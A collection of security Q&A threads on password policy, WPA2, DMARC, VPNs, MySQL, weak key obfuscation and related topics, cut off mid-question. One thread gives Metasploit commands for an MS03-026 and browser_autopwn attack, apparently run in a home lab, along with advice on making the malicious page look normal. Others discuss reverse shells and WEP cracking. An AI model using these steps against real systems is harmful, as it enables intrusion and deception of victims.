What password policy should a typical web app have? By "typical", I mean in terms of the value of the data and how hard attackers are likely to try to breach it, as opposed to one that's guarding data sensitive enough that it's worth significant sacrifices to user convenience.

I'd like to know what are considered modern best practices for what to allow users to set their password to.

My current state of knowledge on this is as follows. Password composition rules that I've heard to be good ideas include:

Minimum length of 8 characters
Disallow common passwords
Disallow passwords that have been found in data breaches

Password rules that I've heard to be bad ideas include:

Minimum length above 8 characters
Maximum length below that imposed by the web server
Restrictions on which characters can be used
Requirements to use certain combinations of characters

Password rules that I know are sometimes used, but am unsure whether they're good or bad ideas include:

Disallow passwords too similar to other user attributes, as in Django's UserAttributeSimilarityValidator
Minimum estimated entropy according to some heuristic algorithm

Your main three are good, actually the first two are sufficient provided the implementation technique is solid.

Don't allow high speed brute force attempts! Three to five failed attempts in under a minute or two should completely block the IP address for 30-60 minutes. That's short enough for a human to wait out for legitimate errors but long enough to effectively shutdown most brute force attempts. A highly motivated low speed attack over weeks to months is unlikely but even that could be handled with a total error count detection, but realistically this is overkill. Just block high speed.

Make sure you don't create a SQL-injection mechansim. Actually this applies regardless of complexity.

There are other more extreme security measures you could take, but these two address the most common by far attack methods.

The "Best Practice" emphasis on extreme password complexity is misguided in my opinion. Bank ATMs successfully use trivial pins by blocking brute force attempts.


How exactly does WPA2-PSK work? I'm trying to understand how PSK works.

Here's what I think I know so far:

PSK is just the password you enter to connect to the router in your home, the PSK is stored on the router.
You combine the PSK with the router SSID and hash it, then I guess... you send it to authenticate? It was said the resulting key would always be unique for every session, but how would it be unique if the PSK and SSID are always the same?
It uses AES to encrypt... something

So can somebody please tell me how WPA2-PSK authentication works in steps?

For a detailed description it is best you refer to the RFC, as suggested before. There are simplifying overviews, like this picture. Another helpful post might be this. The crucial point that misses in your description is that the key derived from SSID and PSK is known as "Pairwise Master Key". This is not the actual key that is used for the encryption. Instead, you can use it to compute a secret session key without passing the session key on the wire. That is what the ANounce and SNounce are used for. Then, by sending encrypted messages in step 3 and 4 AP and station prove to each other they know the PMK.

If you share a secret with someone you can always use this to authenticate to each other and compute a session key. You simply generate a bit random number, send it to your partner (encrypted with the secret). The partner decrypts it, increments by one and sends the message back (again, encrypted). Then you verify what you get is what you sent plus one.Similar for generation of a session key. Both parties generate a random value, exchange it. Session key could be HMAC(random1+random2+secret). Even if an eavesdropper knows random1+2 he cannot generate the key because he doesn't know the secret.


DKIM/SPF problem causing lots of DMARC reports I get messages from "noreply-dmarc-support@google.com" with a DMARC report as follows:

<?xml version="1.0" encoding="UTF-8" ?>
<feedback>
  <report_metadata>
    <org_name>google.com</org_name>
    <email>noreply-dmarc-support@google.com</email>
    <extra_contact_info>https://support.google.com/a/answer/2466580</extra_contact_info>
    <report_id>---omited---</report_id>
    <date_range>
      <begin>1472169600</begin>
      <end>1472255999</end>
    </date_range>
  </report_metadata>
  <policy_published>
    <domain>mydomain.com</domain>
    <adkim>r</adkim>
    <aspf>r</aspf>

reject

    <sp>reject</sp>
    <pct>100</pct>
  </policy_published>
  <record>
    <row>
      <source_ip>74.201.84.163</source_ip>
      <count>1</count>
      <policy_evaluated>
        <disposition>none</disposition>
        <dkim>pass</dkim>
        <spf>pass</spf>
      </policy_evaluated>
    </row>
    <identifiers>
      <header_from>mydomain.com</header_from>
    </identifiers>
    <auth_results>
      <dkim>
        <domain>mydomain.com</domain>
        <result>pass</result>
      </dkim>
      <spf>
        <domain>mydomain.com</domain>
        <result>pass</result>
      </spf>
    </auth_results>
  </record>
</feedback>

My spf records are:

v=spf1 mx include:zoho.com -all

(zoho is my mail provider, however they are not technically enough to solve this problem...).
If I do an IP lookup of

Source: whois.arin.netIP
Address: 74.201.84.163 (United States)
Name: INAP-SJE-ZOHO-35799
Handle: NET-74-201-84-0-1
Registration Date: 11/30/09
Range: 74.201.84.0-74.201.84.255
Customer: ZOHO Corporation
Customer Handle: C02367412
Address: 5200 Franklin Dr, Suite 115
City: PleasantonState/Province:
CAPostal Code: 94588
Country: UNITED STATES

And the domain sender163-mail.zoho.com points to the above IP.
Which all appear to be in range of my SPF record. I have no idea why I receive these messages because everything seems to be in place...

This is not an error report but an aggregate report you probably requested by providing the appropriate DMARC policy (i.e. setting the rua field). The report shows that both DKIM and SPF check pass for this IP address. For more information about how to read this report and how to request it (or stop it) see How to Read Your First DMARC Reports.


Find SMBv1 status with Nmap Is there a ready way with nmap's scripting option to find machines with SMB 1 still enabled server side? It'd be a whole lot faster for me to monitor my remediation if it is available.

I'd rather not have to run a complete OpenVAS scan for this one piece of information.

There is not currently a script to check for this. It would be a trivial change to the existing smbv2-enabled script. Currently, the script has three possible outputs:

No output: SMB of any version failed.
"Server supports SMBv2 protocol": Server supports at least SMBv2, possibly also SMBv1.
"Server doesn't support SMBv2 protocol": Server supports SMBv1 but not SMBv2.

As you can see, there's some ambiguity about whether a SMBv2-enabled host would also support SMBv1. But modifying the script to test each dialect in turn would be pretty simple.

EDIT: This is coming to Nmap soon. https://github.com/nmap/nmap/pull/943

EDIT 2: This is now supported in Nmap 7.60 by the smb-protocols script.


Do VPNs connect to my ISP? When I ask the VPN server to do the queries for me, does the VPN use its own ISP to run the queries over the internet?

Or did the VPN server use my ISP connection to search over the internet and by doing that he uses his own [VPN] IP Address and DNS server?

The question refers to VPN services like nordvpn, hidemyass etc..

There are various VPN technologies and various technologies which are sometimes called a VPN but which are not. A traditional VPN is a virtual network, i.e. it usually works at layer 3 (IP). These VPN do not care about DNS at all, i.e. the system using this VPN decides which DNS servers to use. Depending on the exact setup this might mean that the system is using some DNS server in the local network (usually at the router) which the uses the DNS server of the ISP - i.e. DNS lookups fully bypassing the VPN. This is also called a DNS leak and there are sites which let you check for this. A proper setup instead would use DNS servers which need to be accessed through the VPN, i.e. either DNS servers provided by the VPN provider or public ones like 8.8.8.8 (Google) or 1.1.1.1 (Cloudflare).

And then there are application level proxies which are sometimes called a VPN too, because they offer the [P]rivate part even though they don't protect a full [N]etwork. Commonly these are HTTP and SOCKS proxies. Properly configured the DNS lookup is only done  at the VPN endpoint using the DNS servers configured by the VPN provider. But improperly configured the DNS lookup is again done locally, bypassing the VPN and causing a DNS leak.


Is it dangerous to pass documents from an old infected laptop to a new one? My old laptop is possibly infected. But I just want to transfer documents that I have created like Excel or Word files. Is it possible that malware entered into these files making it dangerous to transfer them into my new laptop?
Also, can a pendrive get infected when it's connected to the infected laptop? Is it safer to send the documents online (like Droppbox or via email)?

Yes, malware can infect user-created files. Yes, pendrives can get infected when inserted. And it doesn't matter how you transfer them, they will still be infected when they arrive.

You want to scan the files and the pendrive before actually accessing the files.


Does a VPN hide what URLs I visit? It's clear that someone listening on a network could still find out what website I visit over HTTPS (as discussed here) but what about when surfing in a VPN? What exactly can the underlying network (not the VPN host) see? Can it see what IP addresses (websites) I connect to whilst using a VPN?

It mostly depends on the type of VPN you use, how it is setup and how you use it.

Generally speaking, if your VPN is setup to process all your connections then the attacker will see the initial handshake and then only encrypted data (and some management traffic, from time to time).

So, someone sniffing the network between you and the VPN host will not be able to see what web site you're accessing, what DNS requests you make or anything else.

This, however, relies on a few critical elements that are not always guarantee:

The client you're using is secure and properly configured.
The attacker does not have any control on any part of the infrastructure you're going to use outside the network he's snooping on (specifically, he does not control the DNS server you're using - which might or might not be provided by your VPN or any other host you're accessing through your tunnel).
You connect to your VPN provider before doing any browsing and keep using it all the time afterward until you terminate the session (it's easy to leak information when web sites can do requests in the background and when browsers might be setup to restart your previous session on startup).

Also, be aware that it's possible to setup a VPN connection only to secure data that goes to a specific network. In that case, most of your traffic will actually be unencrypted.


What port services can hackers use to break into a server? I am getting ready to run my first server.

I will use ufw to disable every port except port 22 for ssh and port 80 for http.

I am curious though. Suppose theoretically I left every port open except the ssh port and the ftp port. Without ssh and ftp is there any other service or protocol that allows a hacker to gain access to my server? Also assume the culprit has no direct physical access to my server.

You're confusing ports, services, vulnerabilities, and exploits. So here is an analogy based on a house. You have a house (server) on a street. That house has three doors (ports), which lead to different places (services). Just because you have doors (ports), doesn't mean someone is going to walk in and steal your jewelry. Ports are opened because a service needs them to be opened for interconnection between a client, and a server. Not all services are vulnerable, and even those that are vulnerable, aren't exploitable.

For example, in the house analogy, having a door is a vulnerability however, having a door which leads to say another locked door in a foyer removes the exploitability of a thief getting ahold of your jewelry. There can be other parameters: A thief GETS IN the door, but is now trapped in a foyer, and also staring down a vicious dog (honeypot, jailed environment). Get the picture?

If you're concerned about running a webserver, spend some time looking at the versions of software you're going to use, then look for exploits, and or vulnerabilities at NIST using a CVE search. Otherwise the approach you are taking is wrong. Just because you have a house with windows, doesn't mean someone is going to, or can break them, walking away with the keys to the kingdom like Ocean's Eleven


How safe is Money Toolkit? Money Toolkit is a smartphone app that can alert you to your balances and transactions across multiple accounts.

I was reading their site and whether their practises are as secure as they claim to be.

From their page at http://www.moneytoolkit.com/2010/09/secure-mobile-banking/, these paragraphs are of interest:

  Only you and your bank can get at your bank security answers, they are securely encrypted on your phone. In fact once you have entered them on your phone, not even you can see them, they are stored in Money toolkits 128 bit AES encrypted safe, using your password as a key, and your password is stored in a way that is almost impossible* to be decoded (using SHA-256).

  But then comes the really clever bit. We actually dont store the whole encrypted file on your phone. We split the file into three parts, only one is stored on your phone, the other two parts are sent to two different servers somewhere in the UK. Each part is totally useless without the other two parts.
  So if anyone finds or steals your phone – it is literally impossible for them to recover your secure details. Similarly if anyone manages to breach our military grade security on our servers they will still be completely unable to recover your secure details, unless they also have your phone.

  The advantage of this system is that It makes it literally impossible for anyone who has physical access to your phone (through theft, or otherwise) to recover any of your secure data from the phone. Not only would someone have to get access to your phone they would have to go to the same lengths as they would if they wanted to ‘hack’ into a bank, but they would have to do it three times!

On their page at http://www.moneytoolkit.com/2012/02/military-grade-security/

  We use SSL for all our communication over HTTP – between our apps and servers and between servers. Our trafic can not be eavesdropped.
  All other administration communication is done via SSH.
  Passwords are never stored – we always use SHA hashed passwords with heavy and dynamic salting.
  All other data is encrypted on our servers, using AES.
  The data centers we use are accredited to ISAE 3402
  A lot of our service runs on Google App Engine who have an exemplary security record… 24 hour guarded data centers, airlock entry, NO security breach ever and more… more info.
  We are a small company, and every employee or contractor is well known, and follows the best security practices. No customer data is ever allowed on individual storage devices, so can never leave the data center.
  All of our systems and servers are regularly patched and hardened, no personal data is ever stored in any logs.
  Our development and deployment process is strictly controlled with a continuous integration server running a battery of tests, not just for reliability, but for security as well.

Also this page includes all the technical detail of their method:

http://support.moneytoolkit.com/customer/portal/articles/83086-how-it-works-in-very-technical-detail

Are their any flaws in this design? Any potential weaknesses? Could they be trusted with my bank details?

The method looks like a transport key approach to securing the data using three independent parts which are each secured by something that the user knows.  The combination of each of the component keys provides the unlock/lock functionality.

One of the weaknesses of this model is that if you loose one of the
components then you will not get your data back - but in this case
there does not seem to be any data persisted that can't be
re-produced by re-setting up the accounts and so on.
A strength and weakness of this model is that the more components you
have of the key, the better the security at the cost of usability.
i.e. there is a greater chance of loosing one of the keys if one of
the sources is unavailable.  So, you could be more easily locked out
of your accounts if one of the independent data centres is having a
bad day - or an attacker is denying you access by blocking your
access to one of the keys.   Again, given it is just account
information - it's not the end of the world if you have to wait a
short time but every situation will have different tolerances.
(please don't use this method on a life support machine for example).
Another strength and a weakness is the fact that a lot of this is relying on infrastructure outside of your control. i.e. you don't even have a contractual relationship with the 3rd parties.  For this applicataion, this is probably OK - but not if you are a company using this app.  Again, it depends on your own personal risk appetite (personally, I wouldn't touch it with a bargepole)
The notes are a bit rubbish.  Yes, they use SSH for admin - but it is easy to use SSH in a really poor way.  I have a few alarm bells ringing because they've even chosen to say this publically.  It indicates that they think this is the second most important thing to say which is quite worrying.

Are you in breach with your bank?

Perhaps most importantly, are you in breach of your terms and conditions with your bank by using this application?  Indeed, if you are a UK customer (which i am guessing you are) then you most certainly will be so if this does all go wrong then you will be help personally liable.  If you have insurance against identity fraud etc, then it is unlikely to pay out if you have willingly used a service like this...


How difficult is the USB firmware attack? Not really new but it's all over the news right now. You can hack a USB firmware to run an attack by emulating a keyboard.

I wonder how difficult it is create an USB thumb that emulates a keyboard.

I am trying to evaluate how likely such an attack is. Can the kid in my neighborhood do this or does it require are secret agency?

After reading different sources I would like to answer this myself.

Currently Karsten Nohl has not released details or tools about how this works. With the given information it should be difficult to reproduce his work.

This will change on August 7 when he will release proof-of-concept tools at BlackHat 2014. There are three widely spread USB controller chips. From what is know Nohl has reversed engineered the firmware of at least the most used controller Phison.

From an attacked USB device he can attack the computer. If is able to get administration access on the USB host he is also able to flash other USB devices from there. That could get interesting...

Depending on what Karsten Nohl will release this could be even used by script kiddies.

Update

Comments asked about sources. I only got a german source but you can use a translator. Nohl did some interviews with different German news agencies.

Here two important parts:

  Laut Nohl kommen bei USB-Speicher-Sticks fast nur Controller von drei Herstellern zum Einsatz; sehr weit verbreitet sind die von Phison. Wie Nohl im Rahmen seiner Forschung herausfand, hatten bereits andere deren proprietäre SCSI-Befehle analysiert. Nohls Team gelang es, nach einer Analyse der Firmware auf diesem Weg einen ganz normalen USB-Speicherstick umzuprogrammieren

This is saying that Phison is widely used and in a following sentence that Nohl analysed the SCSI commands and was able to reprogram the USB thumb. It does not directly say he reversed engineered the Phison.

  Um dann wiederum weitere Sticks zu infizieren, benötigt der Schadcode zwar Systemrechte...

Here they are saying they can infect other devices if they can get system rights.


Why do predefined FFDHE parameters containt '///////////'? Recently, Mozilla published a new and excellent version of its SSL Configuration Generator. One of the changes compared to previous versions was to use predefined FFDHE (Finite Field Diffie-Hellman Ephemeral) parameters from RFC 7919 instead of custom generated ones.

These parameters are mandatory in TLS 1.3 - if one wants to use DHE instead of ECDHE - and it makes sense to me to also use them in older versions of TLS.

After downloading the parameters from Mozilla's webserver, I noticed that the file contained many sections of /////////// which I have never seen in a DH parameter file (e.g. generated with OpenSSL) before.

When pasting the file into an ASN.1 decoder, I eventually figured out that the slashes might have something to do with padding. 0xFFFFFF encoded with base64 results in ////. The 0xFF bytes are always at the start and end of the encoded integer. But why do these particular parameters contain a padding, and why do the ones generated with OpenSSL do seemingly not contain such a padding?

Question:

Why do these particular parameters contain a padding (or many 0xFF bytes at the start and end) and others not?
Where can I find more information/documentation about the structure of a DH parameter file?

You can use openssl asn1parse -in ffdhe4096.txt to decode the file into two numeric values, called p and g (but those names are not encoded in the file, they are named this way in the Diffie Hellman protocol, see ANSI X9.42 which costs $100 but you can find pirated copies).

Mozilla's value is 4096-bit MODP Group from RFC 3526. The RFC has the formula that produces it, but not an explanation why that formula was chosen.

The ffdhe4096 value from RFC 7919 (which you must use if you use FFDHE with TLS 1.3, which nobody does) also has those "FF" at start and end.

The upper and lower 64 bits (8 bytes, 16 hex chars) are forced to 1, resulting in 16 "F" in the beginning and end of the value of p. This is true for standard DH groups as far as I could find: Appendix E of RFC 2412 "The OAKLEY Key Determination Protocol" from November 1998 defines the so-called Oakley groups, long used for FFDHE, and provides an explanation for this choice:

  The primes for groups 1 and 2 were selected to have certain
     properties.  The high order 64 bits are forced to 1.  This helps the
     classical remainder algorithm, because the trial quotient digit can
     always be taken as the high order word of the dividend, possibly +1.
     The low order 64 bits are forced to 1.  This helps the Montgomery-
     style remainder algorithms, because the multiplier digit can always
     be taken to be the low order word of the dividend.  The middle bits
     are taken from the binary expansion of pi.  This guarantees that they
     are effectively random, while avoiding any suspicion that the primes
     have secretly been selected to be weak.

  Because both primes are based on pi, there is a large section of
     overlap in the hexadecimal representations of the two primes.  The
     primes are chosen to be Sophie Germain primes (i.e., (P-1)/2 is also
     prime), to have the maximum strength against the square-root attack
     on the discrete logarithm problem.

  The starting trial numbers were repeatedly incremented by 2^64 until
     suitable primes were located.

  Because these two primes are congruent to 7 (mod 8), 2 is a quadratic
     residue of each prime.  All powers of 2 will also be quadratic
     residues.  This prevents an opponent from learning the low order bit
     of the Diffie-Hellman exponent (AKA the subgroup confinement
     problem).  Using 2 as a generator is efficient for some modular
     exponentiation algorithms.  [Note that 2 is technically not a
     generator in the number theory sense, because it omits half of the
     possible residues mod P.  From a cryptographic viewpoint, this is a
     virtue.]

Note that openssl dhparam has a -check option, but it is too strict (demanding that if g is 2 then p mod 24 == 11), and though this value doesn't pass this test, it is safe to use. There is an answer about this on Crypto.SE.


Can employer see which state you are in if logged into their VPN? If you connect to your employers VPN, can they tell from your IP address or the wifi you are connected to which state or location you are in?

They would be able to see the IP address of the incoming VPN connection (where you're dialing in from) and can perform lookups to see where that IP is registered.

This won't give them an exact location, but a city usually. It should also be noted that the information stored within the databases that these whois services reference might contain stale information so they're nowhere near fool proof. In addition these whois services typically state the location of the IP address is the location of the ISP office so accuracy can be off by hundreds of kilometres.


PHP max_input_vars security expectations Considering a site that handles large POST data, would it be unreasonable and dangerous to set the php.ini max_input_vars to something like 100000?

I know this is a vector for DOS attacks, but don't other configurations such as post_max_size help to prevent that? Are there any ways to safeguard against hash collisions while still having max_input_vars set at a high value?

Other considerations would be the effect on GET and cookies. Can someone please explain the consequences of this configuration and the exploits involved?

The vulnerability is about hash collisions and not necessary about the size of the request.

So yes setting the directive to a higher value is probably not a smart idea (even when you are limiting the post_max_size or any of the other related directives).

Also if you need to set it to something like 100000 you should really reconsider what you are doing in most cases.


How to Edit Malicious Webpage in BindTCP I'm studying Ethical Hacking, using BindTCP on Metasploit, Kali Linux.

This video shows the steps, and I successfully exploited an unpatched Windows XP running a vulnerable IE 6 (on my personal VMWare network).

The premise is to get victim to visit a webpage. Doing this will allow attacker to get a meterpreter session, thereby accessing the victim machine.

But when the victim clicks the page, it is just blank, which itself raises suspicions.

Question: How to edit the webpage so it has normal looking content?

Here is what I did:

root > sudo msfconsole
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit (ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp
msf exploit (ms03_026_dcom) > set RHOST 192.168.1.9
msf exploit (ms03_026_dcom) > set RPORT 445
msf exploit (ms03_026_dcom) > use auxiliary/server/browser_autopwn
msf auxiliary (browser_autopwn) > set LHOST 192.168.1.10
msf auxiliary (browser_autopwn) > exploit

.....

After finding exploits, it starts various servers along with links, then it concludes with

When I open the link in the victim machine (using IE 6), it starts the meterpreter session in Kali Linux,

but victim sees a blank webpage with the original web address. Please point me in the right direction. How do I even search for tutorials that show how to edit malicious webpage for victim. Thanks!

Browser Autopwn has a HTMLContent option, which allows you to show a custom page instead of the usual, blank one.

Quoting Rapid7:

  The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a blank one. It supports two syntaxes:

  set HTMLContent Hello world!

  The above example will basically print "Hello world!" on the browser while exploits are tested against it. Here's another one:

  set HTMLContent file://tmp/hello_world.html

  The above example will load file /tmp/hello_world.html and that's what the browser will see. Most likely the second syntax is how you'd want to use the Content option.

  Keep in mind that you should probably try to keep HTMLContent as simple as possible, otherwise there is a possibility that it might actually influence the reliability of the exploits, especially the ones that do memory corruption.

As an aside, this link is the first Google search result for "browser autopwn" "blank". I don't mean to be rude but I think that, before starting launching exploits left and right, you should be able to research issues on your own. Stackexchange and other forums can be useful, but when you're going to do this kind of thing as a job, you may not have enough time to wait for an answer.

Google (or DuckDuckgo, or similar alternatives)+man/show options/... will go a long way.


Detect blocked reverse shell I am wondering if there is a way to detect if a reverse shell is blocked by egress filtering or an obligatory proxy, or the exploit just failed.

I am asking this question in the context of a SE media dropping senario.

There's no way to tell directly from that actual test, there's no enough information. However, you could tell whether the exploit works or not by telling the target system to do something that it is allowed to do, for instance browse to a web server under your control (presuming that any outbound web connectivity is allowed). If you command it to get a webpage and you get a hit on our site, the exploit works, and then you know that the shell command isn't working for some reason.


Exploiting CSRF PUT request If the application uses RESTful communication, does it need to have CSRF protection for PUT and DELETE requests? As per my understanding its not possible to trigger a PUT request using JavaScript and hence I would like to know if there is any exploitation possible with CSRF PUT..

It is possible to do PUT and DELETE using Javascript with XMLHttpRequest. But in when using these methods for a cross-origin request preflight request will be done to check if the server is willing to accept this cross-origin PUT/DELETE. Unless the server explicitly allows this request the actual PUT/DELETE will not be done. For more information about CORS and preflight requests see http://www.html5rocks.com/en/tutorials/cors/.

Note that in (older) browsers which do not support CORS XMLHttpRequest is restricted by the same origin policy. This means that the browser will not even attempt to send a cross-origin request this way and thus no CSRF is possible.

In summary: unless your server is configured to accept cross origin requests CSRF with PUT or DELETE is not possible.


Why isn't TLS just called SSL v 4.0? SSL and TLS seem to be somewhat interchangeable. So much so that they are generally lumped together ("SSL/TLS") when referring to HTTPS and other services. Its almost as if TLS is version 4.0 of SSL. Why wasn't named that instead of coming up with a different name?

I believe this is mostly due to the fact that SSL was never a considered an internet standard.

This quote is from the SSL 3.0 RFC.

  Although the SSL 3.0 protocol is a widely implemented protocol, a
     pioneer in secure communications protocols, and the basis for
     Transport Layer Security (TLS), it was never formally published by
     the IETF, except in several expired Internet-Drafts.  This allowed no
     easy referencing to the protocol.

When TLS was accepted as an internet standard, the people in charge probably wanted a new term to distinguish it from the older, "non-standard" SSL protocol.


How can google's ReCaptcha verify identity *and* train AI? I have heard that the reason the image portion of ReCaptcha contains so many driving questions is that Google is using it to train AI for their self-driving cars. But to make it an effective security measure, wouldn't Google need to verify that the squares the user clicked on contained stop signs or street lights or whatever they asked for? That would mean they already know what is in each image, so how do they gain new information from it? How can they verify the information is correct without knowing beforehand?

Very simple: They ask multiple people.

When you need to fill out recaptcha, they show you images they have shown many people before, and for those they know the correct answer and they score you on those. But they also show you images which they have not shown many people before. They do not have enough answers for those images to know what the correct answer is. They do not score your answer for those images, but they record your answer. When enough answers are collected for an image, Google become reasonably sure about the correct answer and can start using this image for scoring.

Obviously, it's more complicated than that (for example, they use their machine learning on the images, which is probably at least 90% accurate, so they have a good idea about the correct answer even if you are the first person shown this image on recaptcha), but that's the idea.


Is an ACL Sufficient for business firewall? I am a relatively new IT specialist for a small company (about 30 employees, 100 more seasonal.) Most of our systems have been outsourced to an IT company long ago, that handles licensing, VDI, PBX, security, routing, etc. I handle hardware, some networking, inventory control and imaging.

I discovered on the phone with them that all our physical machine traffic is going out of a Cisco router that has been EOL for three years. In addition, there isn't any serious firewall capability. Our virtual CIO told me that it had an access control list, which is a sufficient firewall for us. I'm not very knowledgeable in internet security, but that just didn't seem right to me. We're dealing with sensitive census data, PHI and payroll systems on that network, and must be HIPPA compliant (which they are supposedly taking care of.) Email is cloud-based.

Is an ACL "good enough" or should we be using a real firewall appliance? Thanks!

No, no and no.

ACL's block traffic from specific IP's, subnets or ports/services (depending on whether you're using standard or extended), but they perform no real firewall functions as you stated before. Security is best in layers, and ACL's are meant to be one layer in a much larger security plan. There is no intrusion detection or intrusion protection, and no serious threat mitigation with them. Also, EOL for 3+ years is very dangerous as there are new exploits developed daily, and Cisco has had a lot of CVE's lately...

In addition to ACL's, you need at least one security appliance. For a company your size, Sonicwall would be a great fit. Barracuda is also an option, although they do not provide identical services.

I was an admin in a similar sized company many years ago, and we had nothing but Clam AV when I started. I'll spare you the details but we were routinely targeted with little protection and had a difficult time responding to threats. It took a very costly malware incident to finally convince the owner to cough up the money for a Sonicwall. Ours didn't cost the industry average of $7.91 million referenced just above, but it sure as (insert preferred profane word here) was more expensive than buying several appliances.


Securing a Personal Hotspot I'm buying a brand new phone, added to it: a new line and SIM card, along with a brand new laptop, to use my phone's network as a hotspot. I will not be using these devices for anything but personal banking (I'll be visiting my broker's website and tradingview.com - absolutely no other website). I'll be using free text apps like "TextNow" to make calls and texts and will NEVER reveal my real number to anyone. As for physically securing the devices, I'm considering buying an RFID signal blocking faraday bag to  keep these devices in, and storing the bag within an aluminum storage case, painted with nickel or copper-based paint. This case will be locked.

If no one has physical access to these devices but me, run a full disk-encryption on the laptop, keep both devices consistently updated, don't store passwords in either device, avoid phishing or social engineering attempts, and constantly switch locations from where I'm accessing my hotspot, how difficult would it be for penetrating my traffic? What are some of the measures I missed to avoid wireless attacks (i.e.traffic monitoring software, browsing habits)?

I have asked pretty much the same question for the same reasons and will follow the answers here.
In addition to your question, I would suggest:

I am using macchanger to randomly change the MAC address on each boot.
Using VPN on the mobile device and on the laptop. (ProtonVPN, with the Secure Connection Servers)

Using three browsers, each for different websites (one for banking, another for general browsing and another one for trading)

Restricting cookies and JavaScript, flash, images etc on browsers as much as possible. I Never store history. Deleting browsers cache on the laptop and phone daily.

My Linux is installed on a USB and its encrypted.

My phone has few apps, and I have disabled all google bloat.

I never use the same email twice.

I am still trying to figure out what mail app to use on the laptop, as I will be accessing my accounts a lot, and configuring all protocols and certificates is very important.


Are MySQL's database files encrypted? I'm trying to securely store user credentials in a MySQL database which is hosted on a different server than the application (the communication between the two is secure).

I have initially assumed that without a knowledge of username/password for MySQL, nobody can access and read the data. However, I have realized, that there could be a scenario where an attacker could gain access to this SQL server and simply make a copy of the database files which are located on the disk.

Are MySQL database files that are stored on disk encrypted?

Could I directly read the data from these files without knowing my MySQL username/password? I am considering to encrypt and decrypt the credentials in the application and store only the encrypted version in the DB, but is this necessary?

Are MySQL database files that are stored on disk encrypted?

No, they are not.

You can (relatively) easily test this by moving .ibd or .myd files to a different system, where you can still read them. Or you can just open them and you will likely see at least some of the content of the tables in plaintext.

Some MySQL engines do provide optional encryption, such as innodb. MySQL enterprise edition also provides optional encryption.


3DES with fixed-encoded random key I need an advice. I have a communication protocol using 3DES cipher.
Each time the client connects (and it can be very often like 1-10 per second), the 24-byte key is generated randomly on server side, encoded by XORing with some static 24-byte password (quite complicated, not many repeated bytes) and then sent to the client.

How good/weak is such a way of communication assuming that the hacker can only listen to the transmission and does not have access to applications binaries?

The security of this scheme largely depends on how good your key generation is. If an attacker observes two key exchanges, he may calculate the xor of the two unobfuscated keys:

The values ka and kb are two unobfuscated keys. kA and kB are the associated obfuscated keys. o is the static obfuscation key.

kA = ka ^ o
kB = kb ^ o
kA ^ kB = ka ^ o ^ kb ^ o

The two instances of o cancel out, giving us ka ^ kb. This works with any two chosen session keys.

This might allow an attacker to leverage weaknesses in your random number generator, by eliminating internal states that cannot produce consecutive outputs that exhibit such a pattern.

Of course, if an attacker ever discovers the unobfuscated value of a key, through any means at all, then he may simply xor the obfuscated key with the unobfuscated key to find o, and therefore break all future communications.

In reality, this is a bad way to do it, because an attacker is likely to have access to your application. By simply reverse engineering your binary, the attacker can discover this hard-coded key and break all communications. You're relying on obscurity for your security, which goes against Kerckhoff's Principle - i.e. "the enemy knows the system".

I did something similar recently with an application that took almost exactly the same route, and it only took me an hour to completely break their crypto and reverse engineer their internal packet format. From there I wrote up a Python script that automatically decrypts the entire session from a pcap packet capture file.

If you're looking for proper end-to-end communications security, go for something like SSL. Most languages have libraries for implementing it, so it shouldn't be too difficult.

If you don't got for SSL, you're going to need to handle the following:

Cryptographic strength key generation.
Key exchange (e.g. Diffie-Hellman or hard-coded RSA public key)
3DES encryption and decryption with an appropriate mode of operation, and IV exchange.
Authentication and integrity checking, e.g. via HMAC.
Defence against timing attacks and other side-channel attacks.
Proper error handling.


Opening remote MySQL database to office IP address at default MySQL port risks? I read a few questions regarding this topic that were pretty informative, but still wanted to pose my particular case.

My company wants to put our data in the MySQL tables we have through our web hosting provider. We went into MySQL on the server and opened it to the static public IP at our office. However, the port is the default MySQL port.

I think the obvious risk is someone accessing those tables from our IP, but they would still need a couple of levels of usernames and passwords to get access. What are some other risks? We do have parts of our website in Python which are public facing and PHP which is the front-end in the office.

The main problem I see is that MySQL does by default not use any encryption so your username and password will be transferred in plaintext every time your or any application using the MySQL Server connects to the database. You can use MySQL with SSL Support, but that would require some extra work. You can have a look at this to determine if it's worth the work: https://dev.mysql.com/doc/refman/5.1/en/building-with-ssl-support.html

My suggestion is that you setup a MySQL Server on the Webserver and then use a socket which isn't only much more secure than establishing an unencrypted connection but also faster because you don't have to deal with the TCP/IP overhead. In my experience MySQL is easy to administer as long as you don't have really huge datasets.


What does WEP access point show during aircrack-ng attack? I bought an old, used WRT-54G () which strangely enough, was running DD-WRT v24-sp2.  Weird what turns up at yard sales.

I want to try the "aircrack-ng" WEP cracking procedure on it.  The criteria for success is easy: when "aircrack-ng" delivers me the WEP key.

But what should I see on the DD-WRT side?  I have this DD-WRT instance set to write syslog data to another Linux machine on the ethernet (wire) side, so I can see whatever DD-WRT logs. Does any other logging facility exist that I should watch?

WEP cracking is a function if capturing a lot of traffic and brute forcing the mis-implementation of RC4 and initial vectors (http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy#Flaws). The only thing which may differ from "normal" traffic is the rate. If you are logging all of the authentications and handshakes, you would have to do some statistics on the timing of the events and compare them to a baseline. I do not believe the DD-WRT provide detail system logs of the actual packet traffic that might be useful to also look at.

If you are asking, how to detect a WEP attack on my network, the first response would be - WEP is easily attacked, so expect that if you must use WEP it will be compromised. Alternatively, you could look into Wireless Intrusion Prevention Systems, which could detect what it deems abnormal activity or matches patterns of suspicious activity.


Good tools for reverse engineering colaboratively? Does anybody know a good set of tools for doing reverse engineering of binaries in a collaborative way?. My original idea is to disassemble a binary, allowing to add information about functions, parameters, global variables, etc. Then such information should be propagated in all the analyzed modules.

It should be an open source platform. A good (but closed) example of this is CrowdRE alpha

At least, i will need some kind of version control system (svn, git, etc) and a disassembler (like radare2).

Thanks!

The only experience I have with collaborative reverse engineering is using the collabREate plugin with IDA Pro. You can check it out here.

Although I don't have any personal experience with many of these, it is probably also worth checking out the collaborative RCE tool library, which lists many options for collaborative debugging.


Hardening password-based file encryption with a synchronous stream cipher plus high-memory hashing algorithm? So this is probably a stupid question, but I'm trying to understand why the following isn't done for at-rest files encrypted via password:

generate an AES-256 key/salt/iv
take the plaintext message (say a 50MB file) and encrypt it with credentials from step 1
append credentials to encrypted message
let the user choose a password and convert it into an AES-256 key using some standard method
encrypt results of step 3 using key from step 4, using AES as a synchronous stream cipher with a modified form of output feedback mode where:

